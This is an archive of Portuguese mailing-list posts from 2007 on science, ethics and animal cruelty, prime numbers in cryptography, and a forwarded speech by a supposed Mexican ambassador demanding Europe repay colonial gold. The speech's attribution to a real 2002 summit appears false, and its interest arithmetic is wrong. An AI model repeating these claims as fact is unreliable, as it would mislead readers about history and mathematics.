Não precisa ser humilde, basta *adotar uma atitude* mais humilde, menos
desafiante, e muita coisa pode aparecer dentro da mente, evidentemente.
abr/M.


>From: Ferrari <emailferrari@yahoo.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: Re: [ciencialist] Re: Sobre o Método Cientifico - pra que?
>Date: Fri, 16 Mar 2007 22:59:46 -0300 (ART)
>
>Roberto Takata >>> O q as ciências tendem a responder
>mal é a pergunta "para quê".
>
>"Pra que" não é ciencia é prática. "Pra que" serve a
>energia atomica? Ora, o usuário que decide. "Pra que"
>é serventia, e sem usuario, seja lá "o que" for, não
>tem serventia alguma. Se o usuário quiser tranformar a
>energia atomica em eletricidade pra tomar banho quente
>de chuveiro, é um "pra que". Se quiser fazer bomba
>atomica pra jogar em hiroshima, é outro "pra que".
>Qual "pra que" é melhor? Depende do usuário. Sendo
>assim:
>
>P - "Para que o céu é azul?"
>R - Pro uso que o usuário do céu e do azul decidir
>fazer disto.
>
>
>abçomano
>ferrari
>
>
>
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>
> EXPERIMENTE XIXI COM TINTA
> O novo livro de Marcelo Ferrari:
>
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>
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SUBJECT: Re: Fw: [ciencialist] Crueldade com animais
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/03/2007 23:57

Chicão, sou-lhe grato pela troca de idéias. Mas vale perguntar: como vamos
achar a ética universal se não a procurarmos? Parece-me que a questão está
muito menos em encontrá-la, do que na força necessária para considerá-la e
praticá-la. Estamos esgotados por tantas solicitações que não nos sobra
energia para sermos o que dizemos ser: homo sapiens-sapiens.
[]s
José Renato
.............................................

From: "Chicao Valadares" <chicaovaladares@To:
<ciencialist@yahoogrupos.com.br>
Sent: Monday, March 12, 2007 12:07 PM
Subject: Re: Fw: [ciencialist] Crueldade com animais


> JR vou parar por aqui. Enquanto não acharmos a ética
> universal vamos ficar apenas nos achismos e no plano
> da retórica. Foi proveitosa toda essa polêmica. Essa
> história de escolha lembra aquele velho dilema entre
> determinismo e acaso. Mas isso fica pra um outro
> debate....
>
> Abraços.
>
> --- José Renato <jrma@terra.com.br> escreveu:
>
>> Olá, Chicão! Essa é uma questão de escolha... A
>> nossa vida é construída,
>> destruída ou mantida por permanentes escolhas que
>> fazemos e pelas decisões
>> que tomamos. Encontrar as melhores decisões e
>> escolhas para cada situação é
>> a pedra de toque que os sábios buscam há tempos.
>> Como elas são praticamente
>> infinitas alguns roteiros básicos são copilados para
>> orientações gerais. Mas
>> no particular, cada um vai ter de optar, escolher e
>> decidir. Ou deixar que
>> decidam por nós.
>> Faço outros comentários no corpo do e-mail, após
>> JR2, OK?
>> ..............................................
>> From: "Chicao Valadares" <chicaovaladares@To:
>> <ciencialist@yahoogrupos.com.br>
>> Sent: Thursday, March 08, 2007 4:22 PM
>> Subject: Re: Fw: [ciencialist] Crueldade com animais
>>
>>
>> > JR, minhas respostas seguem depois do ">>>>>".
>> >
>> > JR1 - Dor e prazer são sinais sensíveis relativos.
>> O
>> > atleta sofre muito durante a preparação para bater
>> > seus recordes com a intenção de ter o prazer de
>> > possuir uma medalha de ouro, seu nome nos anais,
>> > valorização,
>> > admiração, etc. Dor e prazer não são indicativos
>> > absolutos. Muitas vezes o prazer de comer uma
>> caixa de
>> > chocolate acaba mal. Esse equilíbrio nas atitudes
>> já
>> > era perseguido por Sócrates com muito empenho.
>> Perceba
>> >
>> > que buscar a felicidade, a glória e o gozo é o
>> > objetivo maior e legítimo do ser humano. As
>> > dificuldades ocorrem quando minha visão é curta e
>> > atropelo tudo que de bom possuo para obter isso. A
>> > troca é prejudicial a
>> > mim e a todos que uso ou despacho para obter a
>> > felicidade a qualquer custo. Vou postar uma
>> reflexão
>> > que fiz sobre isso, provocada há tempos
>> > pelo Bulcão, na lista Acropolis.
>> >
>> >>>>>>Concordo com a relatividade.
>> >
>> >
>> > JR1 - Mas quando o ser humano toma consciência de
>> sua
>> > existência passa a buscar viver de verdade, ter um
>> amor de
>> > verdade, ser feliz de verdade... Ilusões distraem
>> e confortam
>> > durante algum tempo. Mas o bom mesmo é
>> > a realidade com todas as sua conseqüências.
>> >
>> >>>>>>O que é verdade??? A realidade é boa porque dá
>> > prazer??? Eu posso na MATRIX fazer com que voce
>> saiba mais
>> > verdades que uma pessoa comum. Com isso você
>> pensaria
>> > que conhece a realidade e seria bom para você.
>> > Não gostaria de entrar na MATRIX???
>> JR2 - Parece que o que faço o tempo todo é tentar
>> sair dela, da geléia geral
>> em que estamos vivendo, da ilusão manipulada pelos
>> meios de comunicação
>> acionados pelos interesses comerciais e políticos.
>> Viver na realidade ou na
>> verdade dá mais segurança, harmonia,
>> tranquilidade... O melhor em tudo é não
>> confundir o imaginado e o sonhado com a Realidade. É
>> isso que a Ciência
>> busca.
>> >
>> > JR1 - Viver de mentirinha é o que já faço de
>> diversas
>> > maneiras e em diversas ocasiões. Mas os meus
>> melhores
>> > momentos da vida vieram através da realidade e da
>> > lucidez em percebê-la. Nela me realizo.
>> >
>> >>>>>>Não gostaria de entrar na MATRIX???
>> JR2 - De algum modo já estamos nela. O que procuro é
>> sair dela.
>> >
>> > JR1 - É o que todos os "espertos e sabidórios"
>> > fazem... Quanto a não
>> > ser punido ou não sentir remorsos não é uma
>> certeza
>> > obtida de antemão.
>> > Quando menos se espera vem a tal crise existencial
>> e
>> > aí o cara se
>> > constata um merda, mentiroso, falso, safado, lixo,
>> > traidor, etc. e nem sabe
>> > mais quem ele é de fato no meio de tanta falsidade
>> e
>> > mentira.
>> >
>> >>>>>>Todas as pessoas não são assim. Existem
>> aquelas
>> > que não sentem nenhum remorso em fazer ações
>> > consideradas más.
>> JR2 - Alguns sentimentos são inatos. Prejudicar
>> conscientemente alguém gera
>> no fundo uma reflexão tipo "e se ele fizesse isso
>> para mim" que vai geram um
>> sentimento semelhante ao que chamamos de remorso. Em
>> estudos dos diversos
>> órgãos ou componentes do nosso sistema cognitivo
>> identifica-se regiões onde
>> estão os "bancos de dados" e procedimentos de
>> avaliação ética-moral. Célebre
>> é o caso do trabalhador que sofreu dano no célebro
>> provocado por um prego
>> disparado por uma pistola pneumática. Penetrou na
>> cabeça, mas ele continuou
>> consciente e aparentemente não prejudicou em nada
>> seus movimentos e
>> atividades intelectuais. Após a remoção do prego,
>> recuperação e volta ao
>> trabalho, observou-se que o cara estava com um
>> comportamento diferente,
>> aético, entrão, imoral, inconveniente... A partir
>> daí começou-se a fazer
>> testes mais acurados sobre o funcionamento dessa
>> região afetada e de outras
>> regiões do cérebro.
>> >
>> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
>> pode
>> > dar algum prazer, algum tipo de emoção forte. Os
>> > cruéis patológicos têm orgasmos ao praticar
>> violência,
>> > mas é um distúrbio mental que não me parece grande
>> > coisa desejar possuir. Quanto à vontade de usar
>> minha
>> > experiência de vida para discernir o que é melhor,
>> o
>> > que deve ser evitado e o que precisa ser superado,
>> é
>> > um exercício diário que requer tempo, coragem e
>> > reflexão. Cometer os mesmos erros ou o erro dos
>> outros
>> > burrice em dobro. Prefiro tentar algo diferente e
>> que tenha
>> > alguma chance de obter melhores resultados...
>> >
>> >>>>>> E os cruéis não patológicos??? O resto que
>> você
>> > disse é relativo.
>> JR2 - Em sã consciência somos capazes das maiores
>> crueldades e das maiores
>> generosidades. Ilude-se quem acha que não é capaz de
>> fazer alguma ignomínia.
>> Basta estar na situação adequada para praticá-la. E
>> como sempre consideramos
>> algum ponto de referência pode estar certo que não
>> só o resto como tudo o
>> mais é relativo a esse ponto. Em geral, procura-se
>> um ponto ótimo
>> inatingível como referência ou norte.
>> >
>> > JR1 - Mas, Chicão, não é esse objetivo que nos
>> ilude
>> > desde sempre? O crime perfeito! E cada vez mais se
>> > sofistica as formas burlar, de modo a ser à prova
>> de
>> > qualquer investigação, até que alguém de dentro do
>> > esquema se sente enganado e, antes de ser
>> eliminado,
>> > denuncia(RJ) ou mesmo o burlador se rende à
>> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
>> >
>> >>>>>> Isso também não poderá acontecer e as coisas
>> > ficarem sob segredo.
>> > Você disse que ser bom era mais vantajoso. Devemos
>> ser
>> > bons porque é mais vantajoso??? Isso depende. Ser
>> mau
>> > também pode ser vantajoso ao invés de ser bom.
>> Note
>> > que o príncipio aqui é o do ganho(teoria dos
>> jogos).
>> > Então ambos são duas faces de uma mesma moeda. Por
>> > esse principio você é igual às siglas. [ ... ]
>> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
>> longo prazo quando todos
>> ganham, e essa possibilidade deve ser considerada e
>> buscada permanentemente.
>> No perde-ganha vc não vive em paz. Alguém vai querer
>> tirar o que vc já
>> ganhou prejudicando ou não prejudicando outras
>> pessoas. Esse é o normal na
>> maioria das nossas comunidades.
>>
> === message truncated ===
>
>
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> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos
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>



SUBJECT: Re: Números primos.UCFilho
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/03/2007 09:21

Bom dia Michel e a todos,

os números primos são importantes na criptografia ou seja para
criação de senhas seguras, codificação e decodificação de mensagens.

O método RSA de encripitação, utilizado por 44 dos 50 maiores bancos
do mundo, tem chave pública e utiliza o produto de dois números
primos.

Por incrível que pareça no ano de 1994 foi patenteado, com muito
protesto da comunidade científica, dois números primos.

Saudações. UCFilho



--- Em ciencialist@yahoogrupos.com.br, Michel Moccelin Viccari
<michelm.viccari@...> escreveu
>
> Olá pessoal, alguém sabe dizer qual é a aplicação dos números primos?
> Abraço
>
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> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: transcrevo de [cidadaniabrasil] Discurso de embaixador mexicano
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <consciencia_sustentavel@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <brasil-politica@grupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 17/03/2007 10:03






Discurso feito pelo embaixador Guaicaípuro Cuatemoc, de descendência indígena, defendendo o pagamento da dívida externa do seu país, o México, embasbacou os principais chefes de Estado da Comunidade Européia.



A conferência dos chefes de Estado da União Européia, Mercosul e Caribe, em maio de 2002 em Madri, viveu um momento revelador e surpreendente: Os chefes de Estado europeus ouviram perplexos e calados um discurso irônico, cáustico e de exatidão histórica que lhes fez Guaicaípuro Cuatemoc.


Eis o discurso:



"Aqui estou eu, descendente dos que povoaram a América há 40 mil anos, para encontrar os que a "descobriram" só há 500 anos. O irmão europeu da aduana me pediu um papel escrito, um visto, para poder descobrir os que me descobriram. O irmão financista europeu me pede o pagamento - ao meu país - com juros, de uma dívida contraída por Judas, a quem nunca autorizei que me vendesse. Outro irmão europeu me explica que
toda dívida se paga com juros, mesmo que para isso sejam vendidos seres humanos e países inteiros sem pedir-lhes consentimento.



Eu também posso reclamar pagamento de juros.


Consta no "Arquivo da Cia. das Índias Ocidentais" que, somente entre os anos 1503 e 1660, chegaram a São Lucas de Barrameda 185 mil quilos de ouro e 16 milhões de quilos de prata provenientes da América.



Teria sido isso um saque? Não acredito, porque seria pensar que os irmãos cristãos faltaram ao sétimo mandamento! Teria sido espoliação? Guarda-me Tanatzin de me convencer que os europeus, como Caim, matam e negam o sangue do irmão. Teria sido genocídio? Isso seria dar crédito aos caluniadores, como Bartolomeu de Las Casas ou Arturo Uslar Pietri, que afirmam que a arrancada do capitalismo e a atual civilização
européia se devem à inundação de metais preciosos tirados das Américas.



Não, esses 185 mil quilos de ouro e 16 milhões de quilos de prata foram o primeiro de tantos empréstimos amigáveis da América destinados ao desenvolvimento da Europa. O contrário disso seria presumir a existência de crimes de guerra, o que daria direito a exigir não apenas a devolução, mas indenização por perdas e danos. Prefiro pensar na hipótese menos ofensiva.



Tão fabulosa exportação de capitais não foi mais do que o início de um plano MARSHALL MONTEZUMA", para garantir a reconstrução da Europa arruinada por suas deploráveis guerras contra os muçulmanos, criadores da álgebra, da poligamia, e de outras conquistas da civilização.



Para celebrar o quinto centenário desse empréstimo, podemos perguntar: Os irmãos europeus fizeram uso racional responsável ou pelo menos produtivo desses fundos?



Não. No aspecto estratégico, dilapidaram nas batalhas de Lepanto, em navios invencíveis, em terceiros reichs e várias formas de extermínio mútuo. No aspecto financeiro, foram incapazes, depois de uma moratória de 500 anos, tanto de amortizar o capital e seus juros quanto independerem das rendas líquidas, das matérias-primas e da energia barata que lhes exporta e provê todo o Terceiro Mundo.

Este quadro corrobora a afirmação de Milton Friedman, segundo a qual uma economia subsidiada jamais pode funcionar e nos obriga a reclamar-lhes, para seu próprio bem, o pagamento do capital e dos juros que, tão generosamente, temos demorado todos estes séculos em cobrar. Ao dizer isto, esclarecemos que não nos rebaixaremos a cobrar de nossos irmãos europeus, as mesmas vis e sanguinárias taxas de 20% e até 30% de juros ao ano que os irmãos europeus cobram dos povos do Terceiro Mundo.

Nos limitaremos a exigir a devolução dos metais preciosos, acrescida de um módico juro de 10%, acumulado apenas durante os últimos 300 anos, com 200 anos de graça. Sobre esta base e aplicando a fórmula européia de juros compostos, informamos aos descobridores que eles nos devem 185 mil quilos de ouro e 16 milhões de quilos de prata, ambas as cifras elevadas à potência de 300, isso quer dizer um número para cuja
expressão total será necessário expandir o planeta Terra.



Muito peso em ouro e prata... quanto pesariam se calculados em sangue?


Admitir que a Europa, em meio milênio, não conseguiu gerar riquezas suficientes para esses módicos juros, seria como admitir seu absoluto fracasso financeiro e a demência e irracionalidade dos conceitos capitalistas.

Tais questões metafísicas, desde já, não inquietam a nós, índios da América. Porém, exigimos assinatura de uma carta de intenções que enquadre os povos devedores do Velho Continente e que os obriguem a cumpri-la, sob pena de uma privatização ou conversão da Europa, de forma que lhes permitam entregar suas terras, como primeira prestação de dívida histórica..."



Quando terminou seu discurso diante dos chefes de Estado da Comunidade Européia, o Cacique Guaicaípuro Guatemoc não sabia que estava expondo uma tese de Direito Internacional para determinar a Verdadeira Dívida Externa.



Agora resta que algum Governo Latino-Americano tenha a dignidade e coragem suficiente para impor seus direitos perante os Tribunais Internacionais. Os europeus teriam que pagar por toda a espoliação que aplicaram aos povos que aqui habitavam, com juros civilizados.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fw: [ciencialist] Crueldade com animais
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/03/2007 10:56

A ética universal está na razão de darmos a mesma a consideração ao sofrimento de outros seres como damos ao nosso próprio sofrimento,
independente da espécie, do sexo e das habilidades intelectuais.

Abraços,

da Bruna


José Renato <jrma@terra.com.br> escreveu: Chicão, sou-lhe grato pela troca de idéias. Mas vale perguntar: como vamos
achar a ética universal se não a procurarmos? Parece-me que a questão está
muito menos em encontrá-la, do que na força necessária para considerá-la e
praticá-la. Estamos esgotados por tantas solicitações que não nos sobra
energia para sermos o que dizemos ser: homo sapiens-sapiens.
[]s
José Renato
.............................................

From: "Chicao Valadares" <chicaovaladares@To:
<ciencialist@yahoogrupos.com.br>
Sent: Monday, March 12, 2007 12:07 PM
Subject: Re: Fw: [ciencialist] Crueldade com animais

> JR vou parar por aqui. Enquanto não acharmos a ética
> universal vamos ficar apenas nos achismos e no plano
> da retórica. Foi proveitosa toda essa polêmica. Essa
> história de escolha lembra aquele velho dilema entre
> determinismo e acaso. Mas isso fica pra um outro
> debate....
>
> Abraços.
>
> --- José Renato <jrma@terra.com.br> escreveu:
>
>> Olá, Chicão! Essa é uma questão de escolha... A
>> nossa vida é construída,
>> destruída ou mantida por permanentes escolhas que
>> fazemos e pelas decisões
>> que tomamos. Encontrar as melhores decisões e
>> escolhas para cada situação é
>> a pedra de toque que os sábios buscam há tempos.
>> Como elas são praticamente
>> infinitas alguns roteiros básicos são copilados para
>> orientações gerais. Mas
>> no particular, cada um vai ter de optar, escolher e
>> decidir. Ou deixar que
>> decidam por nós.
>> Faço outros comentários no corpo do e-mail, após
>> JR2, OK?
>> ..............................................
>> From: "Chicao Valadares" <chicaovaladares@To:
>> <ciencialist@yahoogrupos.com.br>
>> Sent: Thursday, March 08, 2007 4:22 PM
>> Subject: Re: Fw: [ciencialist] Crueldade com animais
>>
>>
>> > JR, minhas respostas seguem depois do ">>>>>".
>> >
>> > JR1 - Dor e prazer são sinais sensíveis relativos.
>> O
>> > atleta sofre muito durante a preparação para bater
>> > seus recordes com a intenção de ter o prazer de
>> > possuir uma medalha de ouro, seu nome nos anais,
>> > valorização,
>> > admiração, etc. Dor e prazer não são indicativos
>> > absolutos. Muitas vezes o prazer de comer uma
>> caixa de
>> > chocolate acaba mal. Esse equilíbrio nas atitudes
>> já
>> > era perseguido por Sócrates com muito empenho.
>> Perceba
>> >
>> > que buscar a felicidade, a glória e o gozo é o
>> > objetivo maior e legítimo do ser humano. As
>> > dificuldades ocorrem quando minha visão é curta e
>> > atropelo tudo que de bom possuo para obter isso. A
>> > troca é prejudicial a
>> > mim e a todos que uso ou despacho para obter a
>> > felicidade a qualquer custo. Vou postar uma
>> reflexão
>> > que fiz sobre isso, provocada há tempos
>> > pelo Bulcão, na lista Acropolis.
>> >
>> >>>>>>Concordo com a relatividade.
>> >
>> >
>> > JR1 - Mas quando o ser humano toma consciência de
>> sua
>> > existência passa a buscar viver de verdade, ter um
>> amor de
>> > verdade, ser feliz de verdade... Ilusões distraem
>> e confortam
>> > durante algum tempo. Mas o bom mesmo é
>> > a realidade com todas as sua conseqüências.
>> >
>> >>>>>>O que é verdade??? A realidade é boa porque dá
>> > prazer??? Eu posso na MATRIX fazer com que voce
>> saiba mais
>> > verdades que uma pessoa comum. Com isso você
>> pensaria
>> > que conhece a realidade e seria bom para você.
>> > Não gostaria de entrar na MATRIX???
>> JR2 - Parece que o que faço o tempo todo é tentar
>> sair dela, da geléia geral
>> em que estamos vivendo, da ilusão manipulada pelos
>> meios de comunicação
>> acionados pelos interesses comerciais e políticos.
>> Viver na realidade ou na
>> verdade dá mais segurança, harmonia,
>> tranquilidade... O melhor em tudo é não
>> confundir o imaginado e o sonhado com a Realidade. É
>> isso que a Ciência
>> busca.
>> >
>> > JR1 - Viver de mentirinha é o que já faço de
>> diversas
>> > maneiras e em diversas ocasiões. Mas os meus
>> melhores
>> > momentos da vida vieram através da realidade e da
>> > lucidez em percebê-la. Nela me realizo.
>> >
>> >>>>>>Não gostaria de entrar na MATRIX???
>> JR2 - De algum modo já estamos nela. O que procuro é
>> sair dela.
>> >
>> > JR1 - É o que todos os "espertos e sabidórios"
>> > fazem... Quanto a não
>> > ser punido ou não sentir remorsos não é uma
>> certeza
>> > obtida de antemão.
>> > Quando menos se espera vem a tal crise existencial
>> e
>> > aí o cara se
>> > constata um merda, mentiroso, falso, safado, lixo,
>> > traidor, etc. e nem sabe
>> > mais quem ele é de fato no meio de tanta falsidade
>> e
>> > mentira.
>> >
>> >>>>>>Todas as pessoas não são assim. Existem
>> aquelas
>> > que não sentem nenhum remorso em fazer ações
>> > consideradas más.
>> JR2 - Alguns sentimentos são inatos. Prejudicar
>> conscientemente alguém gera
>> no fundo uma reflexão tipo "e se ele fizesse isso
>> para mim" que vai geram um
>> sentimento semelhante ao que chamamos de remorso. Em
>> estudos dos diversos
>> órgãos ou componentes do nosso sistema cognitivo
>> identifica-se regiões onde
>> estão os "bancos de dados" e procedimentos de
>> avaliação ética-moral. Célebre
>> é o caso do trabalhador que sofreu dano no célebro
>> provocado por um prego
>> disparado por uma pistola pneumática. Penetrou na
>> cabeça, mas ele continuou
>> consciente e aparentemente não prejudicou em nada
>> seus movimentos e
>> atividades intelectuais. Após a remoção do prego,
>> recuperação e volta ao
>> trabalho, observou-se que o cara estava com um
>> comportamento diferente,
>> aético, entrão, imoral, inconveniente... A partir
>> daí começou-se a fazer
>> testes mais acurados sobre o funcionamento dessa
>> região afetada e de outras
>> regiões do cérebro.
>> >
>> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
>> pode
>> > dar algum prazer, algum tipo de emoção forte. Os
>> > cruéis patológicos têm orgasmos ao praticar
>> violência,
>> > mas é um distúrbio mental que não me parece grande
>> > coisa desejar possuir. Quanto à vontade de usar
>> minha
>> > experiência de vida para discernir o que é melhor,
>> o
>> > que deve ser evitado e o que precisa ser superado,
>> é
>> > um exercício diário que requer tempo, coragem e
>> > reflexão. Cometer os mesmos erros ou o erro dos
>> outros
>> > burrice em dobro. Prefiro tentar algo diferente e
>> que tenha
>> > alguma chance de obter melhores resultados...
>> >
>> >>>>>> E os cruéis não patológicos??? O resto que
>> você
>> > disse é relativo.
>> JR2 - Em sã consciência somos capazes das maiores
>> crueldades e das maiores
>> generosidades. Ilude-se quem acha que não é capaz de
>> fazer alguma ignomínia.
>> Basta estar na situação adequada para praticá-la. E
>> como sempre consideramos
>> algum ponto de referência pode estar certo que não
>> só o resto como tudo o
>> mais é relativo a esse ponto. Em geral, procura-se
>> um ponto ótimo
>> inatingível como referência ou norte.
>> >
>> > JR1 - Mas, Chicão, não é esse objetivo que nos
>> ilude
>> > desde sempre? O crime perfeito! E cada vez mais se
>> > sofistica as formas burlar, de modo a ser à prova
>> de
>> > qualquer investigação, até que alguém de dentro do
>> > esquema se sente enganado e, antes de ser
>> eliminado,
>> > denuncia(RJ) ou mesmo o burlador se rende à
>> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
>> >
>> >>>>>> Isso também não poderá acontecer e as coisas
>> > ficarem sob segredo.
>> > Você disse que ser bom era mais vantajoso. Devemos
>> ser
>> > bons porque é mais vantajoso??? Isso depende. Ser
>> mau
>> > também pode ser vantajoso ao invés de ser bom.
>> Note
>> > que o príncipio aqui é o do ganho(teoria dos
>> jogos).
>> > Então ambos são duas faces de uma mesma moeda. Por
>> > esse principio você é igual às siglas. [ ... ]
>> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
>> longo prazo quando todos
>> ganham, e essa possibilidade deve ser considerada e
>> buscada permanentemente.
>> No perde-ganha vc não vive em paz. Alguém vai querer
>> tirar o que vc já
>> ganhou prejudicando ou não prejudicando outras
>> pessoas. Esse é o normal na
>> maioria das nossas comunidades.
>>
> === message truncated ===
>
>
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> O que há é pouca gente para dar por isso... "
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>
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SUBJECT: Re: Fw: [ciencialist] Crueldade com animais
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/03/2007 11:55

Renato,
Permita-me um pitaco: Ética universal é idêntica à descoberta lusitana do solvente universal: não conseguiram guardá-lo nem fazer embalagens.... Não existe ética universal pois ética é a ciência da conduta: é a ciência do fim para o qual a conduta humana deve ser orientada e dos meios para atingir tal fim.
Os textos dos debatedores demostram essa impossibilidade.
E, permita-me: embora Lineu classificou o homem como "homo sapiens", o correto é "homo stultus" ou na melhor das hipóteses, "homo faber": esta última o distingue melhor dos outros primatas.

sds.,
silvio


----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 16, 2007 11:57 PM
Subject: Re: Fw: [ciencialist] Crueldade com animais


Chicão, sou-lhe grato pela troca de idéias. Mas vale perguntar: como vamos
achar a ética universal se não a procurarmos? Parece-me que a questão está
muito menos em encontrá-la, do que na força necessária para considerá-la e
praticá-la. Estamos esgotados por tantas solicitações que não nos sobra
energia para sermos o que dizemos ser: homo sapiens-sapiens.
[]s
José Renato
.............................................

From: "Chicao Valadares" <chicaovaladares@To:
<ciencialist@yahoogrupos.com.br>
Sent: Monday, March 12, 2007 12:07 PM
Subject: Re: Fw: [ciencialist] Crueldade com animais

> JR vou parar por aqui. Enquanto não acharmos a ética
> universal vamos ficar apenas nos achismos e no plano
> da retórica. Foi proveitosa toda essa polêmica. Essa
> história de escolha lembra aquele velho dilema entre
> determinismo e acaso. Mas isso fica pra um outro
> debate....
>
> Abraços.
>
> --- José Renato <jrma@terra.com.br> escreveu:
>
>> Olá, Chicão! Essa é uma questão de escolha... A
>> nossa vida é construída,
>> destruída ou mantida por permanentes escolhas que
>> fazemos e pelas decisões
>> que tomamos. Encontrar as melhores decisões e
>> escolhas para cada situação é
>> a pedra de toque que os sábios buscam há tempos.
>> Como elas são praticamente
>> infinitas alguns roteiros básicos são copilados para
>> orientações gerais. Mas
>> no particular, cada um vai ter de optar, escolher e
>> decidir. Ou deixar que
>> decidam por nós.
>> Faço outros comentários no corpo do e-mail, após
>> JR2, OK?
>> ..............................................
>> From: "Chicao Valadares" <chicaovaladares@To:
>> <ciencialist@yahoogrupos.com.br>
>> Sent: Thursday, March 08, 2007 4:22 PM
>> Subject: Re: Fw: [ciencialist] Crueldade com animais
>>
>>
>> > JR, minhas respostas seguem depois do ">>>>>".
>> >
>> > JR1 - Dor e prazer são sinais sensíveis relativos.
>> O
>> > atleta sofre muito durante a preparação para bater
>> > seus recordes com a intenção de ter o prazer de
>> > possuir uma medalha de ouro, seu nome nos anais,
>> > valorização,
>> > admiração, etc. Dor e prazer não são indicativos
>> > absolutos. Muitas vezes o prazer de comer uma
>> caixa de
>> > chocolate acaba mal. Esse equilíbrio nas atitudes
>> já
>> > era perseguido por Sócrates com muito empenho.
>> Perceba
>> >
>> > que buscar a felicidade, a glória e o gozo é o
>> > objetivo maior e legítimo do ser humano. As
>> > dificuldades ocorrem quando minha visão é curta e
>> > atropelo tudo que de bom possuo para obter isso. A
>> > troca é prejudicial a
>> > mim e a todos que uso ou despacho para obter a
>> > felicidade a qualquer custo. Vou postar uma
>> reflexão
>> > que fiz sobre isso, provocada há tempos
>> > pelo Bulcão, na lista Acropolis.
>> >
>> >>>>>>Concordo com a relatividade.
>> >
>> >
>> > JR1 - Mas quando o ser humano toma consciência de
>> sua
>> > existência passa a buscar viver de verdade, ter um
>> amor de
>> > verdade, ser feliz de verdade... Ilusões distraem
>> e confortam
>> > durante algum tempo. Mas o bom mesmo é
>> > a realidade com todas as sua conseqüências.
>> >
>> >>>>>>O que é verdade??? A realidade é boa porque dá
>> > prazer??? Eu posso na MATRIX fazer com que voce
>> saiba mais
>> > verdades que uma pessoa comum. Com isso você
>> pensaria
>> > que conhece a realidade e seria bom para você.
>> > Não gostaria de entrar na MATRIX???
>> JR2 - Parece que o que faço o tempo todo é tentar
>> sair dela, da geléia geral
>> em que estamos vivendo, da ilusão manipulada pelos
>> meios de comunicação
>> acionados pelos interesses comerciais e políticos.
>> Viver na realidade ou na
>> verdade dá mais segurança, harmonia,
>> tranquilidade... O melhor em tudo é não
>> confundir o imaginado e o sonhado com a Realidade. É
>> isso que a Ciência
>> busca.
>> >
>> > JR1 - Viver de mentirinha é o que já faço de
>> diversas
>> > maneiras e em diversas ocasiões. Mas os meus
>> melhores
>> > momentos da vida vieram através da realidade e da
>> > lucidez em percebê-la. Nela me realizo.
>> >
>> >>>>>>Não gostaria de entrar na MATRIX???
>> JR2 - De algum modo já estamos nela. O que procuro é
>> sair dela.
>> >
>> > JR1 - É o que todos os "espertos e sabidórios"
>> > fazem... Quanto a não
>> > ser punido ou não sentir remorsos não é uma
>> certeza
>> > obtida de antemão.
>> > Quando menos se espera vem a tal crise existencial
>> e
>> > aí o cara se
>> > constata um merda, mentiroso, falso, safado, lixo,
>> > traidor, etc. e nem sabe
>> > mais quem ele é de fato no meio de tanta falsidade
>> e
>> > mentira.
>> >
>> >>>>>>Todas as pessoas não são assim. Existem
>> aquelas
>> > que não sentem nenhum remorso em fazer ações
>> > consideradas más.
>> JR2 - Alguns sentimentos são inatos. Prejudicar
>> conscientemente alguém gera
>> no fundo uma reflexão tipo "e se ele fizesse isso
>> para mim" que vai geram um
>> sentimento semelhante ao que chamamos de remorso. Em
>> estudos dos diversos
>> órgãos ou componentes do nosso sistema cognitivo
>> identifica-se regiões onde
>> estão os "bancos de dados" e procedimentos de
>> avaliação ética-moral. Célebre
>> é o caso do trabalhador que sofreu dano no célebro
>> provocado por um prego
>> disparado por uma pistola pneumática. Penetrou na
>> cabeça, mas ele continuou
>> consciente e aparentemente não prejudicou em nada
>> seus movimentos e
>> atividades intelectuais. Após a remoção do prego,
>> recuperação e volta ao
>> trabalho, observou-se que o cara estava com um
>> comportamento diferente,
>> aético, entrão, imoral, inconveniente... A partir
>> daí começou-se a fazer
>> testes mais acurados sobre o funcionamento dessa
>> região afetada e de outras
>> regiões do cérebro.
>> >
>> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
>> pode
>> > dar algum prazer, algum tipo de emoção forte. Os
>> > cruéis patológicos têm orgasmos ao praticar
>> violência,
>> > mas é um distúrbio mental que não me parece grande
>> > coisa desejar possuir. Quanto à vontade de usar
>> minha
>> > experiência de vida para discernir o que é melhor,
>> o
>> > que deve ser evitado e o que precisa ser superado,
>> é
>> > um exercício diário que requer tempo, coragem e
>> > reflexão. Cometer os mesmos erros ou o erro dos
>> outros
>> > burrice em dobro. Prefiro tentar algo diferente e
>> que tenha
>> > alguma chance de obter melhores resultados...
>> >
>> >>>>>> E os cruéis não patológicos??? O resto que
>> você
>> > disse é relativo.
>> JR2 - Em sã consciência somos capazes das maiores
>> crueldades e das maiores
>> generosidades. Ilude-se quem acha que não é capaz de
>> fazer alguma ignomínia.
>> Basta estar na situação adequada para praticá-la. E
>> como sempre consideramos
>> algum ponto de referência pode estar certo que não
>> só o resto como tudo o
>> mais é relativo a esse ponto. Em geral, procura-se
>> um ponto ótimo
>> inatingível como referência ou norte.
>> >
>> > JR1 - Mas, Chicão, não é esse objetivo que nos
>> ilude
>> > desde sempre? O crime perfeito! E cada vez mais se
>> > sofistica as formas burlar, de modo a ser à prova
>> de
>> > qualquer investigação, até que alguém de dentro do
>> > esquema se sente enganado e, antes de ser
>> eliminado,
